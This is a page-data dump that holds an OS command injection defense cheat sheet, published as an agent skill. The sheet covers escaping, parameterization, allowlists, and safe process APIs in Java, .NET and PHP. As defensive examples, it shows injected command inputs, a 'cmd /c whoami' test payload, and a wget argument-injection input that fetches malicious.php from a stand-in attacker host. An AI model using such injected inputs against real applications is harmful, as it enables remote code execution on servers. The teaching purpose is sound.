[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M79PNFHGFR82FKYT7V270874":3,"skill-same:01M79PNFHGFR82FKYT7V270874":43},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":20,"frontMatter":21,"refName":22,"commitSha":23,"skillDirectory":24,"forksCount":13,"repositoryHtmlUrl":25,"repositoryHomepageUrl":6,"ownerHtmlUrl":26,"ownerBlogUrl":6,"ownerDescription":27,"updatedAt":28,"install":29,"resources":42},"01M79PNFHGFR82FKYT7V270874","os-command-injection-defense-cheat-sheet",null,"JunMystery\u002FAgent-Guidance","JunMystery","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F161468934?v=4","01M79MTMV8F0BY8NK1A92RA8A0","Jun","01M79MTMWCFBKPHN5B25E6V20B",0,"MIT","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fos-command-injection-defense-cheat-sheet\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"# OS Command Injection Defense Cheat Sheet\n\n## Introduction\n\nCommand injection (or OS Command Injection) is a type of injection where software that constructs a system command using externally influenced input does not correctly neutralize the input from special elements that can modify the initially intended command.\n\nFor example, if the supplied value is:\n\n``` shell\ncalc\n```\n\nwhen typed in a Windows command prompt, the application *Calculator* is displayed.\n\nHowever, if the supplied value has been tampered with, and now it is:\n\n``` shell\ncalc & echo \"test\"\n```\n\nwhen executed, it changes the meaning of the initial intended value.\n\nNow, both the *Calculator* application and the value *test* are displayed:\n\n![CommandInjection](..\u002Fassets\u002FOS_Command_Injection_Defense_Cheat_Sheet_CmdInjection.png)\n\nThe problem is exacerbated if the compromised process does not follow the principle of least privileges and attacker-controlled commands end up running with special system privileges that increase the amount of damage.\n\n### Argument Injection\n\nEvery OS Command Injection is also an Argument Injection. In this type of attacks, user input can be passed as arguments while executing a specific command.\n\nFor example, if the user input is passed through an escape function to escape certain characters like `&`, `|`, `;`, etc.\n\n```php\n\nsystem(\"curl \" . escape($url));\n```\n\nwhich will prevent an attacker to run other commands.\n\nHowever, if the attacker controlled string contains an additional argument of the `curl` command:\n\n```php\n\nsystem(\"curl \" . escape(\"--help\"))\n```\n\nNow when the above code is executed, it will show the output of `curl --help`.\n\nDepending upon the system command used, the impact of an Argument injection attack can range from **Information Disclosure** to critical **Remote Code Execution**.\n\n## Primary Defenses\n\n### Defense Option 1: Avoid calling OS commands directly\n\nThe primary defense is to avoid calling OS commands directly. Built-in library functions are a very good alternative to OS Commands, as they cannot be manipulated to perform tasks other than those it is intended to do.\n\nFor example use `mkdir()` instead of `system(\"mkdir \u002Fdir_name\")`.\n\nIf there are available libraries or APIs for the language you use, this is the preferred method.\n\n### Defense option 2: Escape values added to OS commands specific to each OS\n\nFor examples, see [escapeshellarg()](https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fen\u002Ffunction.escapeshellarg.php) in PHP.\n\nThe `escapeshellarg()` surrounds the user input in single quotes, so if the malformed user input is something like `& echo \"hello\"`, the final output will be like `calc '& echo \"hello\"'` which will be parsed as a single argument to the command `calc`.\n\nEven though `escapeshellarg()` prevents OS Command Injection, an attacker can still pass a single argument to the command.\n\n### Defense option 3: Parameterization in conjunction with Input Validation\n\nIf calling a system command that incorporates user-supplied cannot be avoided, the following two layers of defense should be used within software to prevent attacks:\n\n#### Layer 1\n\n**Parameterization:** If available, use structured mechanisms that automatically enforce the separation between data and command. These mechanisms can help provide the relevant quoting and encoding.\n\n#### Layer 2\n\n**Input validation:** The values for commands and the relevant arguments should be both validated. There are different degrees of validation for the actual command and its arguments:\n\n- When it comes to the **commands** used, these must be validated against a list of allowed commands.\n- In regards to the **arguments** used for these commands, they should be validated using the following options:\n    - **Positive or allowlist input validation**: Where are the arguments allowed explicitly defined.\n    - **Allowlist Regular Expression**: Where a list of good, allowed characters and the maximum length of the string are defined. Ensure that metacharacters like ones specified in `Note A` and whitespaces are not part of the Regular Expression. For example, the following regular expression only allows lowercase letters and numbers and does not contain metacharacters. The length is also being limited to 3-10 characters: `^[a-z0-9]{3,10}$`\n- For commands that support it, use `--` to end option parsing. In [curl](https:\u002F\u002Fcurl.se\u002Fdocs\u002Fmanpage.html#OPTIONS), later arguments are still URL operands: `--` does not prevent additional transfers. Pass exactly one validated URL as one argument using a process API, and disable curl's [URL globbing](https:\u002F\u002Fcurl.se\u002Fdocs\u002Fmanpage.html#GLOBBING) with `--globoff`. Do not interpolate an unquoted value into a shell command. Argument separation does not validate the destination; apply [SSRF protections](Server_Side_Request_Forgery_Prevention_Cheat_Sheet.md).\n\n**Note A:**\n\n```text\n& |  ; $ > \u003C ` \\ ! ' \" ( )\n```\n\n## Additional Defenses\n\nOn top of primary defenses, parameterizations, and input validation, we also recommend adopting all of these additional defenses to provide defense in depth.\n\nThese additional defenses are:\n\n- Applications should run using the lowest privileges that are required to accomplish the necessary tasks.\n- If possible, create isolated accounts with limited privileges that are only used for a single task.\n\n## Code examples\n\n### Java\n\nIn Java, use [ProcessBuilder](https:\u002F\u002Fdocs.oracle.com\u002Fjavase\u002F8\u002Fdocs\u002Fapi\u002Fjava\u002Flang\u002FProcessBuilder.html) and the command must be separated from its arguments.\n\n`Runtime.exec(String)` is [deprecated since Java 18](https:\u002F\u002Fdocs.oracle.com\u002Fen\u002Fjava\u002Fjavase\u002F21\u002Fdocs\u002Fapi\u002Fjava.base\u002Fjava\u002Flang\u002FRuntime.html) as error-prone: it splits the command String into tokens on whitespace only, so an argument that contains a space is broken into several tokens, which is how untrusted input can add extra arguments (see [Argument Injection](#argument-injection)). Use `ProcessBuilder` or `Runtime.exec(String[])` instead, passing the program and each argument as separate elements. Separating the arguments does not replace validating them.\n\n*Note about the behavior of Java's `Runtime.exec(String)` method:*\n\nThere are many sites that will tell you that Java's `Runtime.exec` is exactly the same as `C`'s system function. This is not true. Both allow you to invoke a new program\u002Fprocess.\n\nHowever, `C`'s system function passes its arguments to the shell (`\u002Fbin\u002Fsh`) to be parsed, whereas `Runtime.exec(String)` tries to split the string into an array of words, then executes the first word in the array with the rest of the words as parameters.\n\n**`Runtime.exec(String)` does NOT try to invoke the shell at any point and does not support shell metacharacters**.\n\nThe key difference is that much of the functionality provided by the shell that could be used for mischief (chaining commands using  `&`, `&&`, `|`, `||`, etc,  redirecting input and output) would simply end up as a parameter being passed to the first command, likely causing a syntax error or being thrown out as an invalid parameter.\n\n*Code to test the note above:*\n\n``` java\nString[] specialChars = new String[]{\"&\", \"&&\", \"|\", \"||\"};\nString payload = \"cmd \u002Fc whoami\";\nString cmdTemplate = \"java -version %s \" + payload;\nString cmd;\nProcess p;\nint returnCode;\nfor (String specialChar : specialChars) {\n    cmd = String.format(cmdTemplate, specialChar);\n    System.out.printf(\"#### TEST CMD: %s\\n\", cmd);\n    p = Runtime.getRuntime().exec(cmd);\n    returnCode = p.waitFor();\n    System.out.printf(\"RC    : %s\\n\", returnCode);\n    System.out.printf(\"OUT   :\\n%s\\n\", IOUtils.toString(p.getInputStream(),\n                      \"utf-8\"));\n    System.out.printf(\"ERROR :\\n%s\\n\", IOUtils.toString(p.getErrorStream(),\n                      \"utf-8\"));\n}\nSystem.out.printf(\"#### TEST PAYLOAD ONLY: %s\\n\", payload);\np = Runtime.getRuntime().exec(payload);\nreturnCode = p.waitFor();\nSystem.out.printf(\"RC    : %s\\n\", returnCode);\nSystem.out.printf(\"OUT   :\\n%s\\n\", IOUtils.toString(p.getInputStream(),\n                  \"utf-8\"));\nSystem.out.printf(\"ERROR :\\n%s\\n\", IOUtils.toString(p.getErrorStream(),\n                  \"utf-8\"));\n```\n\n*Result of the test:*\n\n```text\n##### TEST CMD: java -version & cmd \u002Fc whoami\nRC    : 0\nOUT   :\n\nERROR :\njava version \"1.8.0_31\"\n\n##### TEST CMD: java -version && cmd \u002Fc whoami\nRC    : 0\nOUT   :\n\nERROR :\njava version \"1.8.0_31\"\n\n##### TEST CMD: java -version | cmd \u002Fc whoami\nRC    : 0\nOUT   :\n\nERROR :\njava version \"1.8.0_31\"\n\n##### TEST CMD: java -version || cmd \u002Fc whoami\nRC    : 0\nOUT   :\n\nERROR :\njava version \"1.8.0_31\"\n\n##### TEST PAYLOAD ONLY: cmd \u002Fc whoami\nRC    : 0\nOUT   :\nmydomain\\simpleuser\n\nERROR :\n```\n\n*Incorrect usage:*\n\n```java\nProcessBuilder b = new ProcessBuilder(\"C:\\\\DoStuff.exe -arg1 -arg2\");\n```\n\nThis creates a builder with one command-list element, not a program followed by two arguments. [`ProcessBuilder`](https:\u002F\u002Fdocs.oracle.com\u002Fen\u002Fjava\u002Fjavase\u002F21\u002Fdocs\u002Fapi\u002Fjava.base\u002Fjava\u002Flang\u002FProcessBuilder.html) represents the executable and its arguments as a list. The snippet does not start a process or demonstrate shell-command injection.\n\n*Correct Usage:*\n\nThis illustrative example starts a process with a modified working directory and passes the executable and each argument separately. Keep the executable and working directory trusted, and validate any untrusted arguments for the invoked program. Argument separation does not replace [argument validation](#layer-2).\n\n``` java\nProcessBuilder pb = new ProcessBuilder(\"TrustedCmd\", \"TrustedArg1\", \"TrustedArg2\");\n\nMap\u003CString, String> env = pb.environment();\n\npb.directory(new File(\"TrustedDir\"));\n\nProcess p = pb.start();\n```\n\n### .NET\n\n- If starting a process is necessary, use a fixed, fully qualified executable path in `FileName` and set [`UseShellExecute = false`](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.diagnostics.processstartinfo.useshellexecute#remarks). This starts the executable directly; it does not validate its arguments.\n- On modern .NET, add each argument separately with [`ProcessStartInfo.ArgumentList`](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.diagnostics.processstartinfo.argumentlist#remarks). It handles escaping, but untrusted input remains a security risk. Validate each value against the called program's allowed options and operands, such as permitted paths or destinations.\n- Do not pass untrusted input to command interpreters such as `cmd.exe`, `powershell.exe`, or `sh -c`.\n- .NET Framework has no `ArgumentList`. Avoid constructing `Arguments` from untrusted input; if necessary, restrict values to a command-specific allowlist that needs no quoting. [`Arguments` parsing](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.diagnostics.processstartinfo.arguments#remarks) depends on the target program and platform.\n\n### PHP\n\nPHP exposes two helper functions when you must pass user input to a shell: `escapeshellarg()` and `escapeshellcmd()`.\n\n`escapeshellarg()`:  Ensures the user can pass only one parameter to the command, cannot add extra parameters, and cannot execute a different command.\n\n`escapeshellcmd()`: Ensures the user can execute only the intended command, can pass unlimited parameters, but cannot execute other commands.\n\nIt is always preferable to use `escapeshellarg()` rather than `escapeshellcmd()` when dealing with user input.\n\nFor example, consider this code using `wget` with `escapeshellcmd()`:\n\n```php\n$url = $_GET['url'];\n$command = 'wget --directory-prefix=..\\temp ' . $url;\nsystem(escapeshellcmd($command));\n```\n\nIf the user provides:\n\n```text\nhttp:\u002F\u002Fvictim.com\u002Fdownload.php?url=--directory-prefix=. http:\u002F\u002Fattacker.com\u002Fmalicious.php\n```\n\n`escapeshellcmd()` will still allow this extra parameter meaning the attacker can override the original `--directory-prefix` option, save the file in the current directory and then achieve remote command execution on the server.\n\nThe safe approach is to use `escapeshellarg()` so that the URL is treated as a single argument:\n\n```php\n$url = $_GET['url'];\n$command = 'wget --directory-prefix=..\\temp ' . escapeshellarg($url);\nsystem($command);\n```\n\nNow the malicious input becomes:\n\n```text\nwget --directory-prefix=..\\temp '--directory-prefix=. http:\u002F\u002Fattacker.com\u002Fmalicious.php'\n```\n\nHere, the second `--directory-prefix` is part of the quoted string, not a real option, so the attack fails.\n\nIn addition, it is good security practice to follow these recommendations:  \n\n- **Hardcode the command**: never allow the user to choose which executable to run.  \n- **Hardcode options**: required flags (e.g., `--directory-prefix`) should be in the code, not in user input.  \n- **Validate and restrict input as much as possible**: apply strict validation rules, whitelists, and format checks to minimize the attack surface.\n\n## References\n\n- [SEI CERT C: Do not call system()](https:\u002F\u002Fcmu-sei.github.io\u002Fsecure-coding-standards\u002Fsei-cert-c-coding-standard\u002Frules\u002Fenvironment-env\u002Fenv33-c\u002F)\n- [CWE-77: Command Injection](https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002Fdefinitions\u002F77.html)\n",{},"main","5d0a87185c0e172c3901e2a6e5916b6d544b8b94","skills\u002Fos-command-injection-defense-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance","https:\u002F\u002Fgithub.com\u002FJunMystery","AI is the typist, I am the architect. Building efficient, secure, and user-centric products through disciplined AI prompt engineering.","2026-11-13 17:41:25",{"source":7,"skillName":5,"commands":30,"prompt":40,"zipAvailable":41},[31,34,37],{"tool":32,"command":33},"npx","npx skills add JunMystery\u002FAgent-Guidance --skill os-command-injection-defense-cheat-sheet",{"tool":35,"command":36},"bunx","bunx skills add JunMystery\u002FAgent-Guidance --skill os-command-injection-defense-cheat-sheet",{"tool":38,"command":39},"pnpm","pnpm dlx skills add JunMystery\u002FAgent-Guidance --skill os-command-injection-defense-cheat-sheet","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fos-command-injection-defense-cheat-sheet\u002FSKILL.md",true,[],[44,50,56,62,68,74],{"skillNo":45,"name":46,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":47,"categories":48,"keywords":49,"publishedAt":18},"01M79QR1E309VJ6CTQKB32AWWA","zero-trust-architecture-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-architecture-cheat-sheet\u002FSKILL.md",[],[],{"skillNo":51,"name":52,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":18},"01M79QQV7GHYR02DYGN41S23WN","xss-filter-evasion-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fxss-filter-evasion-cheat-sheet\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":18},"01M79QQNSN7YB8XB61FFSCS3WH","xs-leaks-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fxs-leaks-cheat-sheet\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":18},"01M79QQHZZJKFDY9132G5A65C2","xpath-injection-prevention-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fxpath-injection-prevention-cheat-sheet\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":18},"01M79QQB9ZSD3DJG8658EHQXR1","xml-security-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fxml-security-cheat-sheet\u002FSKILL.md",[],[],{"skillNo":75,"name":76,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":18},"01M79QQ60WKV7PFMXWT9CW8PM6","xml-external-entity-prevention-cheat-sheet","https:\u002F\u002Fgithub.com\u002FJunMystery\u002FAgent-Guidance\u002Fblob\u002Fmain\u002Fskills\u002Fxml-external-entity-prevention-cheat-sheet\u002FSKILL.md",[],[]]